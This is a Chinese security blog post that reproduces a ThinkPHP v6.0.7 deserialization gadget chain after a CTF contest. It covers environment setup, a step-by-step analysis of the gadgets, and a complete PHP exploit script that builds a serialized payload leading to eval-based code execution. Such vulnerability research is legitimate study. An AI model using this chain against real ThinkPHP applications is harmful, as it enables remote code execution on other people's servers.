ThinkPHP v6.0.7 eval反序列化利用链

序言

之前打了很多次比赛,发现自己的代码审计功底还是太弱,毕竟做这种也太枯燥了,所以由最近的西湖论剑中有个tp6的题,复现一下这个利用链。

搭建环境

由于我之前用的是笔记本,现在用台式来复现的,虚拟机那些很多都是才安装的,问题也很多,所以搭建的时候出了很多问题,忙了一个中午才把环境搭建好。

这是在linux下的安装过程

直接使用 composer 安装 V6.0.7 版本的即可。

先下载composer

// 1. 下载composer.phar:
curl -sS https://getcomposer.org/installer | php

// 2. 将 composer 命令移动到bin目录,使之全局可用
mv composer.phar /usr/local/bin/composer

搭建tp环境

composer create-project topthink/think=6.0.7 tp607
cd TPv6.0
php think run

但是当用php think run的时候可能会这样

image-20211130183600651

看一下里面的内容可以知道,vendor目录下为空,应该是依赖没有安装好,所以执行
php composer.phar install 安装依赖,然后又出现了问题

image-20211130184717143

然后网上到处找,输入这条命令

php -r "readfile('https://getcomposer.org/installer');" | php

然后又又又出现了问题

image-20211130185019900

安装一下扩展依赖就好了

sudo apt-get install php-mbstring
sudo apt-get install php8.1-xml=8.1.0~rc5-1 

最后执行php composer.phar installphp think run就成功了。

image-20211130185543332

还要注意一下,他提醒了搭建的端口是在8000。这个搭建可谓是一波三折,还好最后是成功了的。


widows安装就很简单了 thinkphp6框架怎么下载安装 - Chervehong - 博客园 (cnblogs.com)一篇文章直接搞定。

利用条件

这个漏洞的利用需要利用ThinkPHP进行二次开发,当源码中存在unserialize()函数且参数可控时,既可触发这个洞。

下面手动设置漏洞点,在Index控制器中写入

image-20211130192134485

也就是说这个框架本来是不存在这个漏洞的,但是由于这是入口文件的界面,当index里面的内容被设置为反序列化的可控点的话,那就会存在这个漏洞。这也是其他大师傅挖出来的一条了一条能够执行 eval 的反序列化链。

漏洞分析

在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。所有,总的目的就是跟踪寻找可以触发 __toString() 魔术方法的点。

还是从__destruct()__wakeup 方法开始,因为它们就是unserialize的触发点。

__destruct() 当一个对象销毁(反序列化)时被调用
__wakeup() 将在序列化之后立即被调用

反序列化漏洞点和之前一样,在 Model(vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。当然 Model 这玩意是个抽象类,得从它的 继承类 入手,也就是 Pivot(vendor/topthink/tink-orm/src/model/Pivot.php )

image-20211130195452313

当满足$this->lazySave==true的时候,会调用save方法,那我们跟进一下save方法

image-20211205181918165

可以看到,这里对$this->exists属性进行了判断,如果为真的话就会调用updateDate方法,否则调用insertData方法。

那么如果要进入到这,前面也需要满足响应的条件,先看到第一个if

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
}

首先要满足$this->isEmpty()为假,其次$this->trigger('BeforeWrite')要为真。

先跟进一下$this->isEmpty(),其实也可以看出,就是判断是否为真。

image-20211206182725624

满足传入的data不为空就满足了。接着看$this->trigger('BeforeWrite')

image-20211206182931943

这个也简单,让$this->withEvent为假就可以了

第一个if过了以后接着往后看

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

$this->exists为真执行$this->updateData(),为假执行$this->insertData($sequence)。挨着看一下,先看一下第一个

image-20211206185050317

$this->trigger('BeforeUpdate')的绕过和上面一样,但前面已经绕过了,这里不用管了,之前的tp6反序列化链已经提到这里的利用点在$this->checkAllowFields(),那么直接绕过题目中的if去看一看那个函数。

第二个if也很好绕过,data的值不为空就可以了,前面是一个对data的赋值,跟进一下$this->getChangedData()

image-20211206185206854

这个也很简单,让$this->force为true,$a本来也没有传,让他返回1就好了。

第三个if不太重要,后面调用了$this->checkAllowFields(),跟进看看。大师傅们路已经挖好了,利用点在$this->db()

image-20211206190207668

第一个if让$this->field为空,第二个if让$this->schema也为空就会调用$this->db()

image-20211206190749009他默认已经为空了,再具体看看db()方法是什么

image-20211206190903218

看到这里用.来连接的时候相当于进行了字符串连接的操作,所以有两个可控点,当$this->table或者$this->suffix为相应的类,同时含有__toString()方法,就可以触发它了。

这里总结一下
由上面的分析可以得出,如果要触发__toString()方法需要满足的条件有:
1.$this->lazySave = true
2.$this->data不为空
3.$this->withEvent == false
4.$this->exists == true
5.$this->force == true

调用过程

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

但是model是抽象类,不能实例化,所以需要找到继承model的类来利用,pivot类是正好可以利用的点(位于vendortopthinkthink-ormsrcmodelPivot.php中)

至于 __toSring 魔法方法的类,我们这里选择 Url(vendor/topthink/framework/src/think/route/Url.php) ,首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 需要绕过,第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 需要满足最上部分,并使得 $url 的值为 ''

image-20211207123258590

我们先让让 $this->url 构造成 a: ,此时 $url 的值也就为 '',后边的各种条件也不会成立,可以直接跳过 。

然后再看 if($url) ,由于 弱类型 比较直接略过。

此时由于 $rule 是在 if($url){ 条件内被赋值,那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个也不会成立,直接略过。

此时,我们来到 else{ 内,其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null) 这个代码为点睛之笔。显然,$this->route 是可控的,$domain 变量的值实际上就是 $this->domain ,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。

总结来说,满足该调用形式需要构造:

  • $this->url = 'a:'
  • $this->app = 给个public的request属性的任意类

然后全局搜索 __call 魔法方法,在 Validate(vendor/topthink/framework/src/think/Validate.php) 中存在一个可以称为 “简直为此量身定做” 的形式。

image-20211207123423863

这里先从 __call 看起,显然在调用 call_user_func_array 函数时,相当于 $this->is([$domain,'getDomainBind']) ,其中 $domain 是可控的。

跟进 $this->is 方法, $rule 变量的值即为 getDomainBindStr::camel($rule) 的意思实际上是将 $rule = 'getDomainBind'-_ 替换成 '' , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind'] 中,然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind'] ,即返回值为 getDomainBind

由于 switch{ 没有一个符合 getDomainBindcase 值,我们可以直接看 default 的内容。 $this->type[$rule] 相当于 $this->type['getDomainBind'] ,是可控的,而 $value 值即是上边的 $domain 也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。

实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到 Php(vendor/topthink/framework/src/think/view/driver/Php.php) 中,这里存在一个调用 eval 的且可传 单参数 的方法 display

假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。

总的来说,我们只需要构造如下:

  • $this->type = ["getDomainBind" => [Php类,'display']]

就可以了。

简单示图

  • 构造并触发 __toString

img

  • 构造 [可控类] -> getDomainBind([可控字符串]) 进入 __call

img

  • 构造 call_user_func_array([可控变量],[[可控变量]]) 执行 eval

img

EXP

<?php
namespace think\model\concern{
    trait Attribute{
        private $data = [7];
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new Validate,$cmd);
        }
    }
    class Middleware{
        public $request = 2333;
    }
    class Validate{
        protected $type;
        function __construct(){
             $this->type = [
                "getDomainBind" => [new view\driver\Php,'display']
            ];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{} 
}

namespace think\route{
    class Url
    {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace{
    echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}

image-20211207124643058

参考链接

搭建

(84条消息) thinkphp6.0漏洞复现_天问_Herbert555的博客-CSDN博客_thinkphp6 漏洞

[独家全程图解]ThinkPHP6框架的下载与安装-PHP中文网问答

记一次thinkphp6(TP6)安装的坑。 - 简书 (jianshu.com)

攻击

ThinkPHP v6.0.7 eval反序列化利用链 - 先知社区 (aliyun.com)

ThinkPHP V6.0.x 反序列化漏洞 | WHOAMI's Blog (whoamianony.top)

(86条消息) Thinkphp6.0 反序列化漏洞_feng的博客-CSDN博客